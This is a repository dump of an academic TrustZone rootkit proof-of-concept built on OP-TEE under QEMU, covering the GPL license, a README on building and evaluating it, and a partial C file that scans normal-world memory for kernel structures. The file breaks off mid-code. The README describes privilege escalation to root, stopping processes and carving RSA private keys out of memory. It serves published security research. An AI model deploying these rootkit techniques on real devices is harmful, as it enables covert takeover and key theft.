├── LICENSE ├── README.md ├── paper.pdf └── src ├── rootkit ├── commands │ ├── common.c │ ├── common.h │ ├── memory_carving.c │ ├── memory_carving.h │ ├── privilege_escalation.c │ ├── privilege_escalation.h │ ├── sub.mk │ ├── task_state_manipulation.c │ └── task_state_manipulation.h ├── linux.c ├── linux.h ├── memory.c ├── memory.h ├── rootkit.c ├── rootkit_pta.h ├── sub.mk ├── utils.c └── utils.h ├── rootkit_client ├── Android.mk ├── CMakeLists.txt ├── Makefile └── host │ ├── Makefile │ └── main.c └── rootkit_driver ├── Makefile └── rootkit_driver.c /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Abusing Trust: Mobile Kernel Subversion via TrustZone Rootkits 2 | 3 | This repository contains a proof-of-concept implementation of the rootkit techniques described in our paper [Abusing Trust: Mobile Kernel Subversion via TrustZone Rootkits](https://security.inso.tuwien.ac.at/pdfs/woot22-preprint.pdf), see also the [W00T'22 slides](https://security.inso.tuwien.ac.at/downloads/projects/abusing-trust/woot22-presentation.pdf), and the pre-recording of the [talk](https://security.inso.tuwien.ac.at/downloads/projects/abusing-trust/woot22-abusingtrust.mp4). 4 | 5 | The rootkit is implemented on top of [OP-TEE](https://www.op-tee.org/). Technically, the rootkit is a so-called "pseudo trusted application" which is compiled and executed as part of the secure world operating system. 6 | 7 | Following rootkit functions are implemented and subject to the evaluation: 8 | 9 | * Privilege escalation 10 | * Process starvation 11 | * Memory carving 12 | 13 | 14 | ## Setup 15 | 16 | ### Prerequisites 17 | 18 | The host system used for the evaluation needs to be compatible with OP-TEE version 3.11.0 and fulfill all its prerequisites: 19 | 20 | * [https://optee.readthedocs.io/en/3.12.0/building/prerequisites.html](https://optee.readthedocs.io/en/3.12.0/building/prerequisites.html) 21 | 22 | A Debian-based system is recommended. 23 | 24 | Enabling the `randstruct` compiler plugin of the Linux kernel furthermore requires the following packages: 25 | 26 | * `libgmp-dev` 27 | * `libmpc-dev` 28 | * `gcc-9-plugin-dev` (or the version matching the respective host compiler) 29 | 30 | ### Installing the repo tool 31 | 32 | Cloning the OP-TEE system requires the `repo` tool to be available. 33 | 34 | ``` 35 | $ curl https://storage.googleapis.com/git-repo-downloads/repo > "${SOME_DIR}/repo" 36 | ``` 37 | 38 | Furthermore, the tool should be added to the `$PATH` environment variable: 39 | 40 | ``` 41 | $ export PATH="${SOME_DIR}:${PATH}" 42 | ``` 43 | 44 | ### Downloading OP-TEE 45 | 46 | Our rootkit was extensively tested with OP-TEE version 3.11.0 for QEMU in Armv8 mode. `repo` is used to download the necessary repositories: 47 | 48 | ``` 49 | $ repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.11.0 50 | $ repo sync 51 | ``` 52 | 53 | ### Configuring Linux 54 | 55 | By default, only a shallow copy of the Linux repository is cloned by `repo`. The following command unshallows the repository: 56 | 57 | ``` 58 | $ cd linux 59 | $ git fetch --all --unshallow 60 | ``` 61 | 62 | Afterwards, switch to a supported tag of the Linux kernel: 63 | 64 | ``` 65 | $ git checkout 66 | ``` 67 | 68 | Following versions are supported: 69 | 70 | * v4.12 to v5.1 71 | * v5.5 to v5.6 72 | 73 | Note that `randstruct` is only compatible with Linux version v4.16 or above. 74 | 75 | To enable `randstruct`, the `CONFIG_GCC_PLUGIN_RANDSTRUCT` and `CONFIG_GCC_PLUGINS` options need to be enabled in `scripts/gcc-plugins/Kconfig` or `arch/Kconfig` (depending on the used version of Linux). 76 | 77 | Booting Linux with `randstruct` enabled requires a manual fix in `linux/drivers/firmware/efi/libstub/random.c`. The `__no_randomize_layout` attribute needs to be added to the `efi_rng_protocol` structure: 78 | 79 | ``` 80 | struct efi_rng_protocol { 81 | // ... 82 | } __no_randomize_layout; 83 | ``` 84 | 85 | Or the anonymous structure within `efi_rng_protocol` for version v5.6 of the kernel: 86 | 87 | ``` 88 | union efi_rng_protocol { 89 | struct { 90 | // ... 91 | } __no_randomize_layout; 92 | // ... 93 | }; 94 | ``` 95 | 96 | ### Integrating the Rootkit 97 | 98 | Copy the directory `src/rootkit` to `optee_os/core/pta/`. 99 | 100 | Add the following line to `optee_os/core/pta/sub.mk` to include the rootkit trusted application in the build process: 101 | 102 | ``` 103 | subdirs-y += rootkit 104 | ``` 105 | 106 | Copy the directory `src/rootkit_client` to `optee_examples/`. 107 | 108 | Copy the directory `src/rootkit_driver` to `linux/drivers/`. 109 | 110 | Add the following line to `linux/drivers/Makefile` to include the rootkit module in the build process: 111 | 112 | ``` 113 | obj-y += rootkit_driver/ 114 | ``` 115 | 116 | ### Building OP-TEE 117 | 118 | First, install the necessary toolchain: 119 | 120 | ``` 121 | $ cd build 122 | $ make toolchains 123 | ``` 124 | 125 | The following command builds and runs the OP-TEE system: 126 | 127 | ``` 128 | $ make run 129 | ``` 130 | 131 | It is recommend to append `-jN` to the above command, where `N` represents the number of parallel processes to use for the build. 132 | 133 | Once the build process finished, two new terminal windows are opened. These windows represent the interfaces to the normal world and the secure world. The QEMU monitor waits for commands in the original build terminal window. Use the `c` command in the build terminal to boot the system. The user `test` can login in the normal world window without password. 134 | 135 | 136 | ## Evaluation 137 | 138 | The provided rootkit client can be invoked from the normal world after a successful login: 139 | 140 | ``` 141 | $ rootkit 142 | ``` 143 | 144 | Rootkit functionality is invoked automatically in the following order: 145 | 146 | * Privilege escalation 147 | * Process starvation 148 | * Memory carving 149 | 150 | Log output is printed in both terminal windows. After the client finished successfully, the effects of the invoked features can be verified as follows. 151 | 152 | ### Privilege Escalation 153 | 154 | Initially, the `test` user authenticated to the system. After the rootkit execution finished, use the following command in the normal world terminal to verify processes can be launched as `root`: 155 | 156 | ``` 157 | $ id 158 | uid=0(root) gid=0(root) 159 | ``` 160 | 161 | ### Process Starvation 162 | 163 | The rootkit client forks a process that should be stopped by the TrustZone rootkit. Before and after the execution of the starvation feature, the modification timestamp of a file repeatedly created by the target process is printed. It is expected that the values printed before the invocation are increasing, while the timestamps after the invocation should be constant. Note that a slight delay of the effect is reasonable. 164 | 165 | After the rootkit execution finished, use the following command in the normal world terminal to verify the process is in zombie state: 166 | 167 | ``` 168 | $ cat /proc/$(pidof rootkit)/status | grep State 169 | State: Z (zombie) 170 | ``` 171 | 172 | ### Memory Carving 173 | 174 | RSA keys found in the normal world memory are displayed in the secure world window. The output should contain at least the following two lines: 175 | 176 | ``` 177 | -----BEGIN RSA PRIVATE KEY----- kernel-test-key -----END RSA PRIVATE KEY----- 178 | -----BEGIN RSA PRIVATE KEY----- user-test-key -----END RSA PRIVATE KEY----- 179 | ``` 180 | 181 | Note that this feature only works on Linux v4.20 and above. 182 | -------------------------------------------------------------------------------- /paper.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/establishingsecurity/trustzone-rootkit/0f9281a102cb1bda9809a851bb57c3fdf028c8f4/paper.pdf -------------------------------------------------------------------------------- /src/rootkit/commands/common.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include "../linux.h" 3 | #include "../utils.h" 4 | 5 | #include 6 | 7 | /* 8 | 0x40080000: 91005a4d add x13, x18, #0x16 9 | */ 10 | void *find_uefi_header(void *vaddr) 11 | { 12 | uint16_t i = 0; 13 | uint32_t value = *((uint32_t *)vaddr + i); 14 | if(value == UEFI_HEADER_VALUE) 15 | return (uint32_t *)vaddr + i; 16 | return NULL; 17 | } 18 | 19 | 20 | paddr_t find_kernel_entrypoint(void) 21 | { 22 | for (paddr_t page = NS_IMAGE_OFFSET; page < NS_IMAGE_OFFSET * 2; page += PAGE_SIZE) 23 | { 24 | struct mobj *mobj = load_page(page); 25 | if (!mobj) 26 | continue; 27 | uint64_t *vaddr = mobj_get_va(mobj, 0); 28 | void *uefi_header = find_uefi_header(vaddr); 29 | free_page(mobj); 30 | if (uefi_header) 31 | { 32 | paddr_t uefi_header_offset = (uint8_t *)uefi_header - (uint8_t *)vaddr; 33 | paddr_t uefi_header_pa = page + uefi_header_offset; 34 | return uefi_header_pa; 35 | } 36 | } 37 | return ERROR_ADDR; 38 | } 39 | 40 | 41 | paddr_t find_stext_addr(paddr_t uefi_header_addr) 42 | { 43 | const uint8_t BRANCH_INSTRUCTION_OFFSET = 1; 44 | const uint8_t INSTRUCTION_SIZE = 4; 45 | const uint8_t INSTRUCTION_OFFSET = BRANCH_INSTRUCTION_OFFSET * INSTRUCTION_SIZE; 46 | 47 | struct mobj *mobj = load_page(uefi_header_addr); // Assumes uefi header is page-aligned 48 | if (!mobj) 49 | return ERROR_ADDR; 50 | 51 | uint8_t *vaddr = mobj_get_va(mobj, 0); 52 | paddr_t stext_offset = extract_unconditional_branch_immediate(*((uint32_t *)(vaddr + INSTRUCTION_OFFSET))); 53 | free_page(mobj); 54 | 55 | paddr_t stext_addr = uefi_header_addr + INSTRUCTION_OFFSET + stext_offset; 56 | return stext_addr; 57 | } 58 | 59 | 60 | paddr_t find_init_task_name(paddr_t uefi_header_addr) 61 | { 62 | for (paddr_t page = uefi_header_addr; page < NS_IMAGE_OFFSET * 2; page += PAGE_SIZE) 63 | { 64 | struct mobj *mobj = load_page(page); 65 | if (!mobj) 66 | continue; 67 | uint64_t *vaddr = mobj_get_va(mobj, 0); 68 | void *process_name = find(vaddr, PAGE_SIZE, 69 | INIT_TASK_COMM, strlen(INIT_TASK_COMM) + 1); 70 | free_page(mobj); 71 | if (process_name) 72 | { 73 | paddr_t process_name_offset = (uint8_t *)process_name - (uint8_t *)vaddr; 74 | paddr_t process_name_pa = page + process_name_offset; 75 | return process_name_pa; 76 | } 77 | } 78 | return ERROR_ADDR; 79 | } 80 | 81 | 82 | paddr_t find_init_task_struct_signature(paddr_t init_task_name) 83 | { 84 | const size_t NUM_SEARCHED_PAGES = 3; 85 | for (int i = 0; i < TASK_STRUCT_NUM_SIGNATURES; i++) 86 | { 87 | for (paddr_t page = init_task_name & ~PAGE_MASK, j = 0; j < NUM_SEARCHED_PAGES; page -= PAGE_SIZE, j++) 88 | { 89 | struct mobj *mobj = load_page(page); 90 | if (!mobj) 91 | return ERROR_ADDR; 92 | uint64_t *vaddr = mobj_get_va(mobj, 0); 93 | void *task_struct_signature = find_reverse_from(vaddr, 94 | (j == 0) ? (init_task_name & PAGE_MASK) - 1 : PAGE_SIZE - 1, 95 | TASK_STRUCT_SIGNATURE[i], sizeof(TASK_STRUCT_SIGNATURE[i])); 96 | free_page(mobj); 97 | if (task_struct_signature != NULL) 98 | { 99 | paddr_t task_struct_offset = (uint8_t *)task_struct_signature - (uint8_t *)vaddr - TASK_STRUCT_SIGNATURE_OFFSET; 100 | paddr_t task_struct_pa = page + task_struct_offset; 101 | return task_struct_pa; 102 | } 103 | } 104 | } 105 | 106 | return ERROR_ADDR; 107 | } 108 | 109 | 110 | paddr_t find_virtual_offset(paddr_t init_task_start) 111 | { 112 | const size_t MIN_OCCURRENCES = 2; 113 | const size_t NUM_SEARCHED_PAGES = 3; 114 | bool first = true; 115 | paddr_t virtual_offset = NULL; 116 | size_t occurrences = 0; 117 | // fuzzy limit, as we do not know the exact size of the struct 118 | for (paddr_t page = init_task_start & ~PAGE_MASK; page < init_task_start + NUM_SEARCHED_PAGES * PAGE_SIZE; page += PAGE_SIZE) 119 | { 120 | struct mobj *mobj = load_page(page); 121 | if (!mobj) 122 | continue; 123 | uint64_t *vaddr = mobj_get_va(mobj, 0); 124 | void *parent = NULL; 125 | size_t offset = first ? (init_task_start & PAGE_OFFSET_MASK) : 0; 126 | 127 | while (parent == NULL && (parent = find_va_from_pa(vaddr, PAGE_SIZE, offset, init_task_start))) 128 | { 129 | if (!parent) 130 | break; 131 | 132 | occurrences = count_gw(vaddr, PAGE_SIZE, offset, *((uint64_t *)parent)); // TODO check also next page 133 | 134 | offset = ((uint64_t)parent & PAGE_OFFSET_MASK) + sizeof(uint64_t); 135 | if (occurrences < MIN_OCCURRENCES) 136 | parent = NULL; 137 | } 138 | 139 | if (parent) 140 | virtual_offset = *((uint64_t *)parent) - init_task_start; 141 | 142 | free_page(mobj); 143 | 144 | if (virtual_offset) 145 | return virtual_offset; 146 | 147 | // must be contained in the struct multiple times (currently 3) 148 | // currently we require that they are on the same page, thus MIN_OCCURRENCES is only 2 149 | first = false; 150 | } 151 | 152 | return ERROR_ADDR; 153 | } 154 | 155 | 156 | bool is_valid_comm(char *comm) 157 | { 158 | for (int i = 0; i < TASK_COMM_LEN; i++) 159 | { 160 | if (i > 0 && comm[i] == '\0') // comm is always zero-terminated (strlcpy) 161 | return true; 162 | else if (!isalnum(comm[i])) 163 | return false; 164 | } 165 | return false; 166 | } 167 | 168 | 169 | paddr_t get_multi_page_distance(paddr_t from, paddr_t to_page) 170 | { 171 | paddr_t from_page = from & ~SMALL_PAGE_MASK; 172 | return (SMALL_PAGE_SIZE - (from & SMALL_PAGE_MASK)) + (to_page - from_page - SMALL_PAGE_SIZE); 173 | } 174 | 175 | 176 | paddr_t find_task_struct_tasks_offset(paddr_t init_task_start, paddr_t task_struct_name_offset, paddr_t virtual_address_offset, address_translation_function va_to_pa) 177 | { 178 | const size_t NUM_SEARCHED_PAGES = 3; 179 | bool first = true; 180 | paddr_t init_task_page = init_task_start & ~PAGE_MASK; 181 | for (paddr_t page = init_task_page; page < init_task_start + NUM_SEARCHED_PAGES * PAGE_SIZE; page += PAGE_SIZE) 182 | { 183 | struct mobj *mobj = load_page(page); 184 | if (!mobj) 185 | continue; 186 | 187 | uint64_t *vaddr = mobj_get_va(mobj, 0); 188 | paddr_t tasks = NULL; 189 | size_t offset = first ? (init_task_start & PAGE_OFFSET_MASK) : 0; 190 | paddr_t tasks_member_offset = 0; 191 | 192 | // Simply check everything that looks like a virtual address 193 | while (tasks == NULL && (tasks = find_va(vaddr, PAGE_SIZE, offset))) 194 | { 195 | if (!tasks) 196 | break; 197 | 198 | tasks_member_offset = tasks - (paddr_t)vaddr; 199 | if (page > init_task_page) 200 | tasks_member_offset += get_multi_page_distance(init_task_start, page); 201 | else 202 | tasks_member_offset -= init_task_start & PAGE_OFFSET_MASK; 203 | 204 | paddr_t list_addr = *((paddr_t *)tasks); 205 | paddr_t candidate_start_vaddr = list_addr - tasks_member_offset; 206 | paddr_t candidate_start = (*va_to_pa)(candidate_start_vaddr, virtual_address_offset); 207 | paddr_t candidate_name = candidate_start + task_struct_name_offset; 208 | offset = ((uint64_t)tasks & PAGE_OFFSET_MASK) + sizeof(uint64_t); 209 | 210 | // filter vas, because it should be a pa 211 | if (is_va(candidate_name)) 212 | { 213 | tasks = NULL; 214 | continue; 215 | } 216 | 217 | // Validate candidate 218 | paddr_t candidate_name_page = candidate_name & ~PAGE_MASK; 219 | struct mobj *candidate_mobj = load_page(candidate_name_page); 220 | if (!candidate_mobj) 221 | { 222 | tasks = NULL; 223 | continue; 224 | } 225 | 226 | uint8_t *candidate_vaddr = mobj_get_va(candidate_mobj, 0); 227 | if (candidate_start == init_task_start || !is_valid_comm(((char *)candidate_vaddr + (task_struct_name_offset & PAGE_MASK))) || strcmp(((char *)candidate_vaddr + (task_struct_name_offset & PAGE_MASK)), "init") != 0) 228 | { 229 | tasks = NULL; 230 | } 231 | 232 | free_page(candidate_mobj); 233 | 234 | if (tasks) 235 | { 236 | // Check prev pointer 237 | paddr_t candidate_tasks_prev = candidate_start + tasks_member_offset + sizeof(uint64_t); 238 | paddr_t candidate_tasks_prev_page = candidate_tasks_prev & ~PAGE_MASK; 239 | struct mobj *candidate_tasks_prev_mobj = load_page(candidate_tasks_prev_page); 240 | if (!candidate_tasks_prev_mobj) 241 | { 242 | tasks = NULL; 243 | continue; 244 | } 245 | 246 | uint8_t *candidate_tasks_prev_vaddr = mobj_get_va(candidate_tasks_prev_mobj, 0); 247 | candidate_tasks_prev_vaddr += (tasks_member_offset + sizeof(uint64_t)) & PAGE_MASK; 248 | paddr_t candidate_tasks_prev_pa = (*va_to_pa)(*((uint64_t *)candidate_tasks_prev_vaddr), virtual_address_offset); 249 | if ((candidate_tasks_prev_pa - tasks_member_offset) != init_task_start) 250 | tasks = NULL; 251 | 252 | free_page(candidate_tasks_prev_mobj); 253 | } 254 | } 255 | 256 | free_page(mobj); 257 | 258 | if (tasks && tasks_member_offset) 259 | return tasks_member_offset; 260 | 261 | first = false; 262 | } 263 | 264 | return ERROR_ADDR; 265 | } 266 | 267 | 268 | paddr_t 